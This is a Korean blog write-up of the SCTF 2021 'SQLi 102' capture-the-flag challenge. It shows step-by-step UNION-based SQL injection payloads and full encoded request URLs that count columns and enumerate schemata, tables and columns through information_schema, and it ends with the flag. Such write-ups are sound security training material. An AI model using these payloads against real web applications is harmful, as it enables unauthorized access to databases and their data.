나만의 메모노트

[SCTF 2021] SQLi 102 본문

Security/CTF Write-Up

[SCTF 2021] SQLi 102

sp3arm4n 2021. 8. 23. 15:46

Practicd: hidden 테이블을 찾고 column 이름들을 획득해라.

 

문제를 풀기에 앞서서 우선 검색바 상단 우측에 있는 [HINT]를 눌러 해당 페이지의 전반적인 소스 코드를 살펴보았다. 그 결과, 문제에서 요구하는 것과 매우 밀접한 관련이 있어 보이는 코드가 보였고, 그 코드를 살펴보니, books 테이블로부터 도서 정보를 검색하는 코드인 것을 알 수 있었다.

최종적으로 column 이름을 획득해보라는 것은 column에 flag가 숨겨져 있을 가능성이 높아 보이고, 해당 column을 찾기 위해 hidden 테이블을 찾아야 하며, 이 테이블은 books 테이블에 있을 것이라 추측된다. 하지만, 현재 books 테이블에 대한 정확한 정보가 없으므로 union 연산자를 이용하여 열의 개수를 파악해본다.

 

가장 먼저 임의의 검색어를 통해 도서를 검색해보는데 feeling이라는 검색어를 이용하여 SQL Injeciton이 정상적으로 잘 동작하는지 확인한다.

  • Payload: feeling%' --
  • Working payload: http://sqli102.sstf.site/step3.php?searchkey=feeling%25%27%20--%20

SQL Injection이 잘 작동한다면 union 연산자를 이용하여 열의 개수를 파악해본다.

  • Payload: feeling%' union select null, null, null, null, null, null, null, null --
  • Working payload: http://sqli102.sstf.site/step3.php?searchkey=feeling%25%27%20union%20select%20null%2C%20null%2C%20null%2C%20null%2C%20null%2C%20null%2C%20null%2C%20null%20--%20

열의 개수를 확인한 결과, books 테이블에는 총 8개의 열이 존재한다는 것을 확인하였다.

null 값을 대입하여 확인을 했지만, 정확하지 않을 수 있으니 적절한 값을 대입하여 열의 길이를 다시 한 번 더 확인해보았다.

  • Payload: feeling%' union select '' 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h' --
  • Working payload: http://sqli102.sstf.site/step3.php?searchkey=feeling%25%27%20union%20select%20%27%27%20%27a%27%2C%20%27b%27%2C%20%27c%27%2C%20%27d%27%2C%20%27e%27%2C%20%27f%27%2C%20%27g%27%2C%20%27h%27%20--%20

알파벳이 나타나는 것으로 보아 books 테이블은 8개의 열로 존재한다는 것을 정확히 입증하였고, 이 중 title, author, price 열이 b, c, e로 나타나는 것을 확인할 수 있었다.

여기까지 진행되었다면, 테이블 구조를 잘 파악한 후, 이를 활용하면 flag를 획득할 수 있다.

 

information_schema.schemata 테이블 활용

  • Payload: feeling%' union select '', schema_name, '', '', '', '', '', '' from information_schema.schemata --
  • Working payload: http://sqli102.sstf.site/step3.php?searchkey=feeling%25%27%20union%20select%20%27%27%2C%20schema_name%2C%20%27%27%2C%20%27%27%2C%20%27%27%2C%20%27%27%2C%20%27%27%2C%20%27%27%20from%20information_schema.schemata%20--%20

 

information_schema.tables 테이블 활용

  • Payload: feeling%' union select '', table_name, '', '', '', '', '', '' from information_schema.tables where table_schema='sqli102' --
  • Working payload: http://sqli102.sstf.site/step3.php?searchkey=feeling%25%27%20union%20select%20%27%27%2C%20table_name%2C%20%27%27%2C%20%27%27%2C%20%27%27%2C%20%27%27%2C%20%27%27%2C%20%27%27%20from%20information_schema.tables%20where%20table_schema%3D%27sqli102%27%20--%20

 

information_schema.columns 테이블 활용

  • Payload: feeling%' union select '', column_name, '', '', '', '', '', '' from information_schema.columns where table_name='findme' --
  • Working payload: http://sqli102.sstf.site/step3.php?searchkey=feeling%25%27%20union%20select%20%27%27%2C%20column_name%2C%20%27%27%2C%20%27%27%2C%20%27%27%2C%20%27%27%2C%20%27%27%2C%20%27%27%20from%20information_schema.columns%20where%20table_name%3D%27findme%27%20--%20

SCTF{b451c_SQLi_5k1lls}

'Security > CTF Write-Up' 카테고리의 다른 글

[SCTF 2021] BOF 102  (0) 2021.08.30
[SCTF 2021] BOF 101  (0) 2021.08.30
[SCTF 2021] SQLi 101  (0) 2021.08.23